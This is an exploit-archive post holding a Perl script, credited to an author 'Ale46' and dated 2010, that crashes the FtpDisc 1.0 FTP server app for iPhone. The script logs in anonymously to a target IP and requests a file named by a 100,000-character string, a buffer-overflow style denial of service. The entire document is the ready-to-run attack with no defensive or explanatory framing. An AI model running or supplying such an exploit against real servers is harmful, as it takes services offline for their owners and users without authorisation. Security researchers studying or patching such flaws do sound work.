iPhone FtpDisc 1.0 – Denial of Service

#!/usr/bin/perl

#Title: FtpDisc for Iphone - Remote DOS Exploit

#Date: 23/02/2010

#Author: Ale46 - ale46[at]paranoici[dot]org

#Software Link: http://mochasoft.dk/iphone_ftp.htm

#Version: 1.0

#Note: FtpDisc Lite has the same vuln

#Greetz: Gandalf

use Net::FTP;

if(@ARGV<1){

print "[-]\t Error: ./ftpdisc <ftp_server_ip>\n";

exit();

}

my $ftp;

my $host = $ARGV[0];

my $stuff;

for ($i=0;$i<100000;$i++){

$stuff .="A";

}

$ftp = Net::FTP->new($host, Timeout=>24, Debug => 0)

or die "Error: $@";

print "\n[-]\t Logging to FTP\n\n";

sleep(2);

$ftp->login('anonymous','test@test.net')

or die "Error: ", $ftp->message;

print "[-]\t Sending Eval Command\n\n";

sleep(2);

$ftp->get($stuff);

$ftp->quit;

print "[-]\t Uh.. A crash..\n";